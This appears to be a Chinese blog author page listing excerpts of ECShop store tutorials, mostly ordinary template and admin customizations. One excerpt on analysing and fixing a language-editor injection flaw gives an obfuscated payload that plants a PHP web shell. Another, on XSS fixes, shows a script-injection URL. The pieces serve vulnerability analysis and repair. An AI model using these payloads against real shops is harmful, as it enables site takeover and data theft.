作者文章

fwq

FWQ
网站开发
ecshop添加前台切换颜色功能
ecshop添加前台切换颜色功能 dwt文件中加入下面代码: <link media=”screen” href=”{$ecs_css_path}” rel=”stylesheet” type=”text/css” title=”{$ecs_css_path}” /> <link media=”screen” href=”/themes/kf518/style.css” rel=”alternate stylesheet” type=”text/css” title=”style” /> <link media=”screen” href=”/themes/kf518/style_brown.css” rel=”alternate stylesheet” type=”text/css” title=”style_brown” /> <link media=”screen” href=”/themes/kf518/style_pink.css”…
2025-04-23 阅读全文 →
FWQ
网站开发
如何修改ecshop网站logo文件的尺寸大小
ecshop里面把logo的尺寸是写固定了的,大概在150*35的样子,如果设计的尺寸偏大,那么就会出现只能显示部分logo的情况, 我请的合作美工出于漂亮和完整传达意思的考虑,他把我的logo尺寸修改为150*52,这样的话logo并不能完全显示,尤其是底部 logo只能显示大半部分,因此必须修改代码使得能容纳新版的logo图标。 针对头部文件的修改,在后台中修改, 模板管理 -> 库项目管理 -> page_header.lbi 找到 “images/logo.gif”这部分代码, 原文件如下: <div class=”block clearfix”>  <div class=”f_l”><a href=”../index.php” name=”top”><img src=”../images/logo.gif” /></a></div>  <div class=”f_r log”> 系统并没有对图片的尺寸进行限制,修改如下: <div class=”block clearfix”>…
2025-04-23 阅读全文 →
FWQ
网站开发
如何让Ecshop首页商品也显示市场价格
首先要说明的一点是,也许你下载或购买的模板已经实现了“首页商品显示市场价格”,那么请不要诧异,此教程是针对没有实现此功能的模板而言的,例如官方默认模板。 1)、 首先我们需要打开  /themes/default/library/recommend_best.lbi 文件 找到 <font class=”f1″> 在它上边增加一行代码 {$lang.market_price}<font class=”market”>{$goods.market_price}</font><br /> 2)、 接着打开 library/recommend_hot.lbi 和 library/recommend_best.lbi , 修改方法和上面第一步中的 recommend_best.lbi 相同。 然后刷新一下首页(不用清除缓存),应该就看到市场价格了。  
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop热门搜索的关键词在所有页面显示的修改方
打开  includes/init.php文件 找到这行代码: $smarty->assign(‘lang’, $_LANG); 在下面加入这两行代码: $searchkeywords = !empty($_CFG[‘search_keywords’]) ? explode(‘ ‘, trim($_CFG[‘search_keywords’])) : array(); $smarty->assign(‘searchkeywords’, $searchkeywords); 保存上传,搞定. 然后进入后台”清除缓存”,刷新前台页面,OK!
2025-04-23 阅读全文 →
FWQ
网站开发
如何删除ecshop后台升级,有文件未删除等的提示
有客户问到想去掉ecshop后台升级的提示,因为上半年升级提示太频繁了,觉得不需要这个,这里好模板告诉大家修改方法, 找到admin/index.php  代码: 大概486行: elseif ($_REQUEST[‘act’] == ‘main_api’) {     require_once(ROOT_PATH . ‘/includes/lib_base.php’);     $data = read_static_cache(‘api_str’);     if($data === false || API_TIME < date(‘Y-m-d H:i:s’,time()-43200))     {…
2025-04-23 阅读全文 →
FWQ
网站开发
设置ecshop手机访问跳转到其他独立域名页
如何实现ecshop程序手机访问跳转到我想跳转到的页面,下面好模板的技术帮你解决。   首先打开根目录下 index.php,找到     <p style=”text-indent: 2em;”>$ua = strtolower($_SERVER[‘HTTP_USER_AGENT’]);<br><br>$uachar = “/(nokia|sony|ericsson|mot|samsung|sgh|lg|philips|panasonic|alcatel|lenovo|cldc|midp|mobile)/i”;<br><br>if(($ua == ” || preg_match($uachar, $ua))&& !strpos(strtolower($_SERVER[‘REQUEST_URI’]),’wap’))<br>{<br>    $Loaction = ‘m.baisihan.com’;<br>    if (!empty($Loaction))<br>    {<br>…
2025-04-23 阅读全文 →
FWQ
网站开发
ECSHOP语言项库注入漏洞分析和修复
1.ECSHOP语言库注入漏洞利用 1) 登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 2) 添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为: <?php assert( $_POST[x] ); ?> 3) 访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php 2.产生原因 在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。   for ($i = 0; $i <…
2025-04-23 阅读全文 →
FWQ
网站开发
修复ecshop注入XSS三个漏洞方法
Ecshop pages.lbi.php Xss漏洞,search.php注入漏洞,Ecshop version XSS漏洞   1.Ecshop pages.lbi.php Xss漏洞 先来分析这个漏洞的原因: 直接访问temp/compiled/pages.lbi.php时,浏览源文件,会发现如下代码: <form action=”temp/compiled/pages.lbi.php” method=”get”> 显然这个form是不完全的。当构造这样的url访问时,会造成在客户端执行代码: temp/compiled/pages.lbi.php/”</form><sCripT>alert(/cfreer/)</scRipt> 很显然,这个漏洞的原理就是闭合了这个form再在客户端执行javascript. 然后分析出现不闭合form的原因,打开page.lbi.php文件,可以看到如下代码 <form action=”<?php echo $_SERVER[‘PHP_SELF’]; ?>” method=”get”> <?php if ($this->_var[‘pager’][‘styleid’] ==…
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop后台添加一个完整的统计用户信息的功能
开发ecshop大概有半年多时间了,每次改的功能也没有做总结和记录,今天添加完一个功能,记录一下吧,省得以后忘记又要麻烦去查找。 需求:在后台菜单-报表统计-下面添加-用户情况-的功能,包括:每周新增注册用户,每周累积注册用户,活跃用户-周内至少登陆1次,每月访问量等等。 第一步:建立数据库的表   说明:个人本地数据库是:eshop,新建表名:ecs_user_situation。 第二步:建立存储过程 DELIMITER $$      DROP PROCEDURE IF EXISTS `eshop`.`pro_users`$$      CREATE DEFINER=`root`@`localhost` PROCEDURE `pro_users`()   BEGIN       DECLARE week_count INT;       DECLARE user_count INT;       DECLARE over_count INT;       DECLARE month_count INT;       — 每周注册用户       SELECT COUNT(*) INTO week_count FROM ecs_users WHERE reg_time>(UNIX_TIMESTAMP(NOW())-7*24*60*60);       — 总注册用户       SELECT COUNT(*) INTO user_count FROM ecs_users;       — 每周的活跃用户       SELECT COUNT(*) INTO over_count FROM ecs_users WHERE last_login>(UNIX_TIMESTAMP(NOW())-7*24*60*60);       — 每月的访问量       SELECT COUNT(*) INTO month_count FROM ecs_stats WHERE access_time>UNIX_TIMESTAMP(DATE_SUB(DATE_SUB(DATE_FORMAT(NOW(),‘%y-%m-%d 00:00:00’),INTERVAL EXTRACT(DAY FROM NOW())-1 DAY),INTERVAL 0 MONTH));              INSERT INTO ecs_user_situation(week_count,user_count,over_count,month_count,week_time) VALUES (week_count,user_count,over_count,month_count,NOW());       END$$  …
2025-04-23 阅读全文 →
FWQ
网站开发
ecshop后台合并商品分类的教程
在Ecshop系统后台合并商品分类的方法。 合并商品分类完全可以通过后台操作来实现。 1、首先进入后台 》商品管理 》商品列表。 2、在搜索框里选择 类别A,点搜索,这时会列出类别A下的所有商品。 3、如果类别A下的商品数大于1页的话,可以修改一下  分页导航条的“每页”的显示数量,修改成一个足够大的数字,按回车,这样的话,A类下的所有商品就会在一页里显示完全。 4、点击编号前的选择框,将商品全部选中 5、点击左下角“请选择”下拉选择框,选中那个“转移到分类”,最后点“确定”即可。 具体步骤如下图: 以上ecshop后台合并商品分类的教程.
2025-04-23 阅读全文 →